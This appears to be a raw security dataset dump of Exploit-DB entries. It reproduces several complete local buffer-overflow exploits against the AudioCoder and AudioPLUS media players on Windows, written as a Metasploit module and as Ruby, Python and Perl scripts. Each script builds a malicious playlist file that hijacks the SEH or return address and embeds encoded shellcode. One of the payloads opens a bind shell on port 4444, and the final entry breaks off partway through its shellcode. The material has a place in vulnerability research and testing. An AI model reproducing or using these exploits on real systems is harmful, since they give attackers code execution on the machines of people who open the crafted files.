deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25296
Description: AudioCoder - '.m3u' Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2013-05-07
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AudioCoder .M3U Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in Audio Code 0.8.18. The vulnerability
        occurs when adding an .m3u, allowing arbitrary code execution with the privileges
        of the user running AudioCoder. This module has been tested successfully on
        AudioCoder 0.8.18.5353 over Windows XP SP3 and Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'metacom', # Vulnerability discovery and PoC
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'OSVDB', '92939' ],
          [ 'EDB', '25141' ]
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'process'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'Space'           => 6596,
          'BadChars'        => "\x00\x5c\x40\x0d\x0a",
          'DisableNops'     => true,
          'StackAdjustment' => -3500,
        },
      'Targets'        =>
        [
          [ 'AudioCoder 0.8.18.5353 / Windows XP SP3 / Windows 7 SP1',
            {
              'Ret'     => 0x66011b56, # ppr from libiconv-2.dll
              'Offset'  => 765
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'May 01 2013',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
      ], self.class)

  end

  def exploit
    buffer = "http://"
    buffer << rand_text(target['Offset'])
    buffer << generate_seh_record(target.ret)
    buffer << payload.encoded

    file_create(buffer)
  end
end
Exploit-DB #25141
Description: AudioCoder 0.8.18 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2013-05-02
Author: metacom

Exploit:
#!/usr/bin/env ruby
# Exploit Title:AudioCoder 0.8.18 Buffer Overflow Exploit (SEH)
# Download link :http://www.mediacoderhq.com/getfile.htm?site=dl.mediacoderhq.com&file=AudioCoder-0.8.18.exe
# Vulnerable Product:AudioCoder
# Date (found): 30.04.2013
# Date (publish): 01.05.2013
# RST
# Author: metacom
# Version: version 0.8.18
# Category: poc
# Tested on: windows 7 German  
# Exploit-DB Note:
# This works on Windows 7 Pro Eng

begin
 #calc
 shellcode =
"\x89\xe0\xdb\xc8\xd9\x70\xf4\x5b\x53\x59\x49\x49\x49\x49" +
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" +
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" +
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" +
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" +
"\x58\x4d\x59\x53\x30\x55\x50\x53\x30\x43\x50\x4d\x59\x5a" +
"\x45\x56\x51\x58\x52\x52\x44\x4c\x4b\x50\x52\x56\x50\x4c" +
"\x4b\x50\x52\x54\x4c\x4c\x4b\x31\x42\x45\x44\x4c\x4b\x34" +
"\x32\x31\x38\x44\x4f\x4f\x47\x51\x5a\x37\x56\x30\x31\x4b" +
"\x4f\x50\x31\x49\x50\x4e\x4c\x57\x4c\x35\x31\x33\x4c\x53" +
"\x32\x56\x4c\x37\x50\x49\x51\x38\x4f\x54\x4d\x35\x51\x49" +
"\x57\x4d\x32\x5a\x50\x36\x32\x36\x37\x4c\x4b\x46\x32\x54" +
"\x50\x4c\x4b\x47\x32\x37\x4c\x53\x31\x4e\x30\x4c\x4b\x47" +
"\x30\x54\x38\x4b\x35\x49\x50\x42\x54\x51\x5a\x35\x51\x4e" +
"\x30\x50\x50\x4c\x4b\x57\x38\x55\x48\x4c\x4b\x36\x38\x31" +
"\x30\x45\x51\x59\x43\x4b\x53\x57\x4c\x30\x49\x4c\x4b\x30" +
"\x34\x4c\x4b\x55\x51\x4e\x36\x30\x31\x4b\x4f\x50\x31\x49" +
"\x50\x4e\x4c\x39\x51\x48\x4f\x34\x4d\x43\x31\x49\x57\x46" +
"\x58\x4b\x50\x42\x55\x5a\x54\x43\x33\x43\x4d\x5a\x58\x37" +
"\x4b\x33\x4d\x57\x54\x53\x45\x4a\x42\x30\x58\x4c\x4b\x56" +
"\x38\x36\x44\x43\x31\x48\x53\x35\x36\x4c\x4b\x54\x4c\x30" +
"\x4b\x4c\x4b\x56\x38\x45\x4c\x53\x31\x39\x43\x4c\x4b\x54" +
"\x44\x4c\x4b\x35\x51\x4e\x30\x4b\x39\x51\x54\x31\x34\x37" +
"\x54\x51\x4b\x51\x4b\x55\x31\x30\x59\x30\x5a\x46\x31\x4b" +
"\x4f\x4d\x30\x31\x48\x51\x4f\x50\x5a\x4c\x4b\x42\x32\x4a" +
"\x4b\x4b\x36\x51\x4d\x52\x4a\x43\x31\x4c\x4d\x4c\x45\x48" +
"\x39\x55\x50\x55\x50\x53\x30\x50\x50\x43\x58\x36\x51\x4c" +
"\x4b\x32\x4f\x4d\x57\x4b\x4f\x39\x45\x4f\x4b\x4c\x30\x48" +
"\x35\x39\x32\x56\x36\x53\x58\x59\x36\x5a\x35\x4f\x4d\x4d" +
"\x4d\x4b\x4f\x38\x55\x57\x4c\x35\x56\x33\x4c\x44\x4a\x4b" +
"\x30\x4b\x4b\x4d\x30\x33\x45\x54\x45\x4f\x4b\x50\x47\x42" +
"\x33\x33\x42\x42\x4f\x42\x4a\x43\x30\x31\x43\x4b\x4f\x59" +
"\x45\x32\x43\x43\x51\x42\x4c\x33\x53\x36\x4e\x43\x55\x43" +
"\x48\x55\x35\x43\x30\x41\x41"
 
 file = "fuzz.m3u"
 head = "http://"
 junk = "\x90" * 765 # Distance to overwrite EIP
 nseh = "\xEB\x06\x90\x90" # Short (6 bytes) jump!
 seh  = "\xEE\x04\x01\x66" # POP ECX / POP ECX / RETN from libiconv-2.dll
 nops = "\x90" * 80
 textfile = open(file , 'w')
 textfile.write(head + junk + nseh + seh + nops + shellcode)
 textfile.close()

 puts
 puts " Vulnerable file created!...\n"

end
Exploit-DB #26448
Description: AudioCoder 0.8.22 - '.lst' Direct RETN Buffer Overflow
Type: local
Platform: windows
Date: 2013-06-26
Author: Onying

Exploit:
# !/usr/bin/python
# Title: AudioCoder 0.8.22 [.lst] - Direct Retn Buffer OverFlow
# version: 0.8.22 build 5506 (built on May 27 2013, 00:22:49)
# link: http://www.downloadbestsoft-mirror2.com/programs/AudioCoder-0.8.22.5506.exe
# Platform: Windows XP sp3
# Date: June 23th, 2013
# Author: onying (@onyiing)
# Blog : http://itsecuritynewbie.blogspot.com/
# Thanks to: Information Security Shinobi Camp | http://www.is2c-dojo.com   

header = "http://"
junk = "\x41" * 249
junk+= "\x53\x93\x42\x7E"
junk+= "\x90" * 16

#win32_bind - EXITFUNC=process LPORT=4444 Size=344 Encoder=ShikataGaNai
junk+=("\xb8\xe2\x59\x26\xe6\x33\xc9\xda\xdd\xb1\x51\xd9\x74\x24\xf4\x5e"
"\x31\x46\x10\x83\xc6\x04\x03\xa4\x55\xc4\x13\xd4\x0c\xe3\x91\xcc"
"\x28\x0c\xd6\xf3\xab\x78\x45\x2f\x08\xf4\xd3\x13\xdb\x76\xd9\x13"
"\xda\x69\x6a\xac\xc4\xfe\x32\x12\xf4\xeb\x84\xd9\xc2\x60\x17\x33"
"\x1b\xb7\x81\x67\xd8\xf7\xc6\x70\x20\x3d\x2b\x7f\x60\x29\xc0\x44"
"\x30\x8a\x01\xcf\x5d\x59\x0e\x0b\x9f\xb5\xd7\xd8\x93\x02\x93\x81"
"\xb7\x95\x48\x3e\xe4\x1e\x07\x2c\xd0\x3c\x79\x6f\x29\xe6\x1d\xe4"
"\x09\x28\x55\xba\x81\xc3\x19\x26\x37\x58\x99\x5e\x19\x37\x94\x10"
"\xab\x2b\xf8\x53\x65\xd5\xaa\xcd\xe2\x29\x7f\x79\x84\x3e\x4d\x26"
"\x3e\x3e\x61\xb0\x75\x2d\x7e\x7b\xda\x51\xa9\x24\x53\x48\x30\x5b"
"\x8e\x9b\xbf\x0e\x3b\x9e\x40\x60\xd3\x47\xb7\x75\x89\x2f\x37\xa3"
"\x81\x9c\x94\x18\x75\x60\x48\xdd\x2a\x99\xbe\x87\xa4\x74\x63\x21"
"\x66\xfe\x7a\x38\xe0\xa4\x67\x32\x36\xf3\x68\x64\xd2\xec\xc7\xdd"
"\xdc\xdd\x80\x79\x8f\xf0\xb9\xd6\x2f\xda\x69\x8d\x30\x33\xe5\xc8"
"\x86\x32\xbf\x45\xe6\xed\x10\x3d\x4c\x47\x6e\x6d\xff\x0f\x77\xf4"
"\xc6\xa9\x20\xf9\x11\x1c\x30\xd5\xf8\xf5\xaa\xb3\x6c\x69\x5e\xb2"
"\x88\x07\xf0\x9d\x7b\x14\x79\xfa\x16\xe0\xf3\xe6\xd6\x28\xf0\x4c"
"\xe6\xeb\xda\x6e\x55\xc0\xb7\x03\x20\x20\x13\xb0\x7e\x38\x11\x38"
"\x33\xaf\x2a\xb1\x70\x2f\x02\x62\x2e\x9d\xfa\xc5\x81\x4b\xfc\xb4"
"\x70\xd9\xaf\xc9\xa3\x89\xe2\xec\x41\x84\xae\xf1\x9c\x72\xae\xf2"
"\x16\x7c\x80\x87\x0e\x7e\xa2\x53\xd4\x81\x73\x09\xea\xae\x14\xd3"
"\xcc\xad\x96\x78\x12\xe7\xa6\xae")
file = open("audiocoder.lst" , "w")
file.write(header+junk)
file.close()
Exploit-DB #26411
Description: AudioCoder 0.8.22 - '.m3u' Direct RETN Buffer Overflow
Type: local
Platform: windows
Date: 2013-06-24
Author: Onying

Exploit:
# !/usr/bin/python
# Title: AudioCoder 0.8.22 - Direct Retn Buffer OverFlow
# version: 0.8.22 build 5506 (built on May 27 2013, 00:22:49)
# link: http://www.downloadbestsoft-mirror2.com/programs/AudioCoder-0.8.22.5506.exe
# Platform: Windows XP sp3
# Date: June 21th, 2013
# Author: onying (@onyiing)
# Blog : http://itsecuritynewbie.blogspot.com/
# Thanks to: Information Security Shinobi Camp | http://www.is2c-dojo.com   

header = "http://"
junk = "\x41" * 249
junk+= "\x53\x93\x42\x7E"
junk+= "\x90" * 16

#win32_exec -  EXITFUNC=process CMD=calc Size=161 Encoder=ShikataGaNai
junk+=("\xb8\xe2\x59\x26\xe6\x33\xc9\xda\xdd\xb1\x51\xd9\x74\x24\xf4\x5e"
"\x31\x46\x10\x83\xc6\x04\x03\xa4\x55\xc4\x13\xd4\x0c\xe3\x91\xcc"
"\x28\x0c\xd6\xf3\xab\x78\x45\x2f\x08\xf4\xd3\x13\xdb\x76\xd9\x13"
"\xda\x69\x6a\xac\xc4\xfe\x32\x12\xf4\xeb\x84\xd9\xc2\x60\x17\x33"
"\x1b\xb7\x81\x67\xd8\xf7\xc6\x70\x20\x3d\x2b\x7f\x60\x29\xc0\x44"
"\x30\x8a\x01\xcf\x5d\x59\x0e\x0b\x9f\xb5\xd7\xd8\x93\x02\x93\x81"
"\xb7\x95\x48\x3e\xe4\x1e\x07\x2c\xd0\x3c\x79\x6f\x29\xe6\x1d\xe4"
"\x09\x28\x55\xba\x81\xc3\x19\x26\x37\x58\x99\x5e\x19\x37\x94\x10"
"\xab\x2b\xf8\x53\x65\xd5\xaa\xcd\xe2\x29\x7f\x79\x84\x3e\x4d\x26"
"\x3e\x3e\x61\xb0\x75\x2d\x7e\x7b\xda\x51\xa9\x24\x53\x48\x30\x5b"
"\x8e\x9b\xbf\x0e\x3b\x9e\x40\x60\xd3\x47\xb7\x75\x89\x2f\x37\xa3"
"\x81\x9c\x94\x18\x75\x60\x48\xdd\x2a\x99\xbe\x87\xa4\x74\x63\x21"
"\x66\xfe\x7a\x38\xe0\xa4\x67\x32\x36\xf3\x68\x64\xd2\xec\xc7\xdd"
"\xdc\xdd\x80\x79\x8f\xf0\xb9\xd6\x2f\xda\x69\x8d\x30\x33\xe5\xc8"
"\x86\x32\xbf\x45\xe6\xed\x10\x3d\x4c\x47\x6e\x6d\xff\x0f\x77\xf4"
"\xc6\xa9\x20\xf9\x11\x1c\x30\xd5\xf8\xf5\xaa\xb3\x6c\x69\x5e\xb2"
"\x88\x07\xf0\x9d\x7b\x14\x79\xfa\x16\xe0\xf3\xe6\xd6\x28\xf0\x4c"
"\xe6\xeb\xda\x6e\x55\xc0\xb7\x03\x20\x20\x13\xb0\x7e\x38\x11\x38"
"\x33\xaf\x2a\xb1\x70\x2f\x02\x62\x2e\x9d\xfa\xc5\x81\x4b\xfc\xb4"
"\x70\xd9\xaf\xc9\xa3\x89\xe2\xec\x41\x84\xae\xf1\x9c\x72\xae\xf2"
"\x16\x7c\x80\x87\x0e\x7e\xa2\x53\xd4\x81\x73\x09\xea\xae\x14\xd3"
"\xcc\xad\x96\x78\x12\xe7\xa6\xae")
file = open("audiocoder.m3u" , "w")
file.write(header+junk)
file.close()
Exploit-DB #29309
Description: AudioCoder 0.8.22 - '.m3u' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2013-10-30
Author: Mike Czumak

Exploit:
#!/usr/bin/perl

###############################################################################
# Exploit Title: AudioCoder 0.8.22 (.m3u) - SEH Buffer Overflow
# Date: 10-18-2013
# Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
# Vulnerable Software: AudioCoder 0.8.22 (http://www.mediacoderhq.com/audio/)
# Software Link: http://www.fosshub.com/download/AudioCoder-0.8.22.5506.exe
# Version: 0.8.22.5506
# Tested On: Windows XP SP3
# Creates an .m3u file to exploit a very basic seh bof:
# junk --> next seh (jmp to shellcode) --> seh (pop3 pop ret) --> shellcode
###############################################################################

my $buffsize = 5000; # sets buffer size for consistent sized payload
my $junk = "http://" . ("\x90" x 757); # offset to seh overwrite 
my $nseh = "\xeb\x14\x90\x90"; # overwrite next seh with jmp instruction (20 bytes)
my $seh = pack('V',0x6601228e); #overwrite seh w/ pop edi pop ebp ret from AudioCoder\libiconv-2.dll 
my $nops = "\x90" x 20; 

# Calc.exe payload [size 227]
# msfpayload windows/exec CMD=calc.exe R | 
# msfencode -e x86/shikata_ga_nai -c 1 -b '\x00\x0a\x0d\xff'
my $shell = "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" .
"\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" .
"\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" .
"\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" .
"\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" .
"\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" .
"\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" .
"\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" .
"\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" .
"\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" .
"\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" .
"\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" .
"\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" .
"\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" .
"\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" .
"\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" .
"\x9a\xca\xc0";

# fill remainder of buffer with junk chars; not necessary but useful
# to check remaining usable space for different sized payloads
my $fill = "\x43" x ($buffsize - (length($junk)+length($nseh)+length($seh)+length($nops)+length($shell))); # fills remainder of buffer 

my $buffer = $junk.$nseh.$seh.$nops.$shell.$fill; 

# write the exploit buffer to file
my $file = "audiocoder.m3u";
open(FILE, ">$file");
print FILE $buffer;
close(FILE);
print "Exploit file created [" . $file . "]\n";
print "Buffer size: " . length($buffer) . "\n";
Exploit-DB #32585
Description: AudioCoder 0.8.29 - Memory Corruption (SEH)
Type: local
Platform: windows
Date: 2014-03-30
Author: sajith

Exploit:
###########################################################
#[~] Exploit Title: AudioCoder-0.8.29 Memory Corruption to Code execution[SEH]
#[~] Author: sajith
#[~] version: AudioCoder-0.8.29
#[~] vulnerable app link: http://www.mediacoderhq.com/getfile.htm?site=dl.mediacoderhq.com&file=AudioCoder-0.8.29.exe
#[~]Tested in windows Xp sp3,english
###########################################################
import struct

raw_input("Letz start fuzzing")

print "POC by sajith shetty"

try:
 f = open("victim.m3u","w")
 header = "http://"
 buffer = 5000
 junk = "\x41" * 757
 nseh = "\xeb\x06\x90\x90"  #jmp 6 bytes

 seh = struct.pack('<I',0x66010686)  #pop pop ret seq from application dll"libiconv-2.dll"

 junk2 = "\x44" * (buffer - (len(junk+nseh+seh)))
 nops = "\x90" * 100

 #calc shellcode
 shellcode = ("\xb8\x9d\x01\x15\xd1\xda\xd2\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x32\x31\x42\x12\x03\x42\x12\x83\x77\xfd\xf7\x24\x7b\x16\x7e"
"\xc6\x83\xe7\xe1\x4e\x66\xd6\x33\x34\xe3\x4b\x84\x3e\xa1\x67"
"\x6f\x12\x51\xf3\x1d\xbb\x56\xb4\xa8\x9d\x59\x45\x1d\x22\x35"
"\x85\x3f\xde\x47\xda\x9f\xdf\x88\x2f\xe1\x18\xf4\xc0\xb3\xf1"
"\x73\x72\x24\x75\xc1\x4f\x45\x59\x4e\xef\x3d\xdc\x90\x84\xf7"
"\xdf\xc0\x35\x83\xa8\xf8\x3e\xcb\x08\xf9\x93\x0f\x74\xb0\x98"
"\xe4\x0e\x43\x49\x35\xee\x72\xb5\x9a\xd1\xbb\x38\xe2\x16\x7b"
"\xa3\x91\x6c\x78\x5e\xa2\xb6\x03\x84\x27\x2b\xa3\x4f\x9f\x8f"
"\x52\x83\x46\x5b\x58\x68\x0c\x03\x7c\x6f\xc1\x3f\x78\xe4\xe4"
"\xef\x09\xbe\xc2\x2b\x52\x64\x6a\x6d\x3e\xcb\x93\x6d\xe6\xb4"
"\x31\xe5\x04\xa0\x40\xa4\x42\x37\xc0\xd2\x2b\x37\xda\xdc\x1b"
"\x50\xeb\x57\xf4\x27\xf4\xbd\xb1\xd8\xbe\x9c\x93\x70\x67\x75"
"\xa6\x1c\x98\xa3\xe4\x18\x1b\x46\x94\xde\x03\x23\x91\x9b\x83"
"\xdf\xeb\xb4\x61\xe0\x58\xb4\xa3\x83\x3f\x26\x2f\x44")
 print len(junk2)
 f.write(header + junk + nseh + seh + nops + shellcode + junk2)
 print "Done!!"

except:
 print "error!"
Exploit-DB #42385
Description: AudioCoder 0.8.46 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2017-07-26
Author: Muhann4d

Exploit:
#!/usr/bin/python
# Exploit Title      : AudioCoder 0.8.46 Local Buffer Overflow (SEH)
# CVE				 : CVE-2017-8870
# Exploit Author     : Muhann4d @0xSecured
# Vendor Homepage    : http://www.mediacoderhq.com
# Vulnerable Software: http://www.mediacoderhq.com/getfile.htm?site=mediatronic.com.au/download&file=AudioCoder-0.8.46.exe
# Vulnerable Version : 0.8.46
# Fixed version      : N/A
# Category           : Local Buffer Overflow
# Tested on OS       : Windows 7 Pro SP1 32bit
# How to             : Open AudioCoder then drag & drop the .m3u file in it and then press the START button.
# Timeline 	: 
# 2017-05-05: Vulnerability discovered, vendor has been contaced
# 2017-05-08: Vendor replied denying it .."I believe this was an old issue and no longer exists in the latest version" 
# 2017-05-09: A POC sent to the vendor. No reply since then.
# 2017-06-26: Exploit released.
 
print "AudioCoder 0.8.46 Local Buffer Overflow By Muhann4d @0xSecured"
from struct import pack

junk = "http://" + "\x41" * 741
nseh = pack('<I',0x909006eb)
seh = pack('<I',0x66015926)
nops= "\x90" * 20
shell=("\xb8\x9d\x01\x15\xd1\xda\xd2\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x32\x31\x42\x12\x03\x42\x12\x83\x77\xfd\xf7\x24\x7b\x16\x7e"
"\xc6\x83\xe7\xe1\x4e\x66\xd6\x33\x34\xe3\x4b\x84\x3e\xa1\x67"
"\x6f\x12\x51\xf3\x1d\xbb\x56\xb4\xa8\x9d\x59\x45\x1d\x22\x35"
"\x85\x3f\xde\x47\xda\x9f\xdf\x88\x2f\xe1\x18\xf4\xc0\xb3\xf1"
"\x73\x72\x24\x75\xc1\x4f\x45\x59\x4e\xef\x3d\xdc\x90\x84\xf7"
"\xdf\xc0\x35\x83\xa8\xf8\x3e\xcb\x08\xf9\x93\x0f\x74\xb0\x98"
"\xe4\x0e\x43\x49\x35\xee\x72\xb5\x9a\xd1\xbb\x38\xe2\x16\x7b"
"\xa3\x91\x6c\x78\x5e\xa2\xb6\x03\x84\x27\x2b\xa3\x4f\x9f\x8f"
"\x52\x83\x46\x5b\x58\x68\x0c\x03\x7c\x6f\xc1\x3f\x78\xe4\xe4"
"\xef\x09\xbe\xc2\x2b\x52\x64\x6a\x6d\x3e\xcb\x93\x6d\xe6\xb4"
"\x31\xe5\x04\xa0\x40\xa4\x42\x37\xc0\xd2\x2b\x37\xda\xdc\x1b"
"\x50\xeb\x57\xf4\x27\xf4\xbd\xb1\xd8\xbe\x9c\x93\x70\x67\x75"
"\xa6\x1c\x98\xa3\xe4\x18\x1b\x46\x94\xde\x03\x23\x91\x9b\x83"
"\xdf\xeb\xb4\x61\xe0\x58\xb4\xa3\x83\x3f\x26\x2f\x44")
#calc.exe

junkD = "D" * (2572 - (len(junk + nseh + seh + nops + shell)))
exploit = junk + nseh + seh + nops + shell + junkD
  
try:
    file= open("Exploit.m3u",'w')
    file.write(exploit)
    file.close()
    raw_input("\nExploit has been created!\n")
except:
    print "There has been an Error"
Exploit-DB #9064
Description: AudioPLUS 2.00.215 - '.lst' / '.m3u' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-07-01
Author: hack4love

Exploit:
#!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# AudioPLUS 2.00.215 (.m3u / .lst File) Local buffer Overflow (seh)
# # Greetz to all my friends
# form egypt
## easy :d
## Tested on: Windows XP Pro SP2 (EN)
################################################################
my $bof="\x41" x 4116;
my $nsh="\xEB\x06\x90\x90";
my $seh="\xb8\x15\xd1\x72";
my $nop="\x90" x 20;
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
###################################################################
open(myfile,'>> hack4love.m3u');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################

# milw0rm.com [2009-07-01]
Exploit-DB #9152
Description: AudioPLUS 2.00.215 - '.m3u' / '.lst' Universal Overwrite (SEH)
Type: local
Platform: windows
Date: 2009-07-15
Author: Stack

Exploit:
#!/usr/bin/perl
# AudioPLUS 2.00.215 (.m3u .lst ) Universal Seh Overwrite Exploit
# first exploiter hack4love http://www.milw0rm.com/exploits/9064
# and this the universal for .lst .m3u extention
# Big Thnx to his0ka my best freind :d
# Stack
print "AudioPLUS 2.00.215 (.m3u .lst ) Universal Seh Overwrite Exploit\n";
my $shellcode=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
my $payload =  "Ma".
                "\x41" x (4099-length($shellcode)).
                "$shellcode".
                "\xE8\xF8\xEF\xFF\xFF".
                "\x41" x 10 .
                "\xEB\xEF\xFF\xFF".
                "\xA4\x29\x40\x00"; #univ ret
print $payload;
# usage perl exploit.pl  >>exploit.m3u

# milw0rm.com [2009-07-15]
Exploit-DB #9070
Description: AudioPLUS 2.00.215 - '.pls' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-07-01
Author: Stack

Exploit:
#!/usr/bin/perl
# AudioPLUS 2.00.215 (.pls) Local buffer Overflow (seh)
print "AudioPLUS 2.00.215 (.pls) Local buffer Overflow (seh)\n";
my $header = "[playlist]\x0ANumberOfEntries=1\x0AFile1=http://";
my $junk="\x41" x 4103;
my $nseh="\xEB\x06\x90\x90";
my $seh="\x35\x2F\xD1\x72"; # jmp msacm32.drv ebx
my $nop="\x90" x 20;
my $shellcode=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
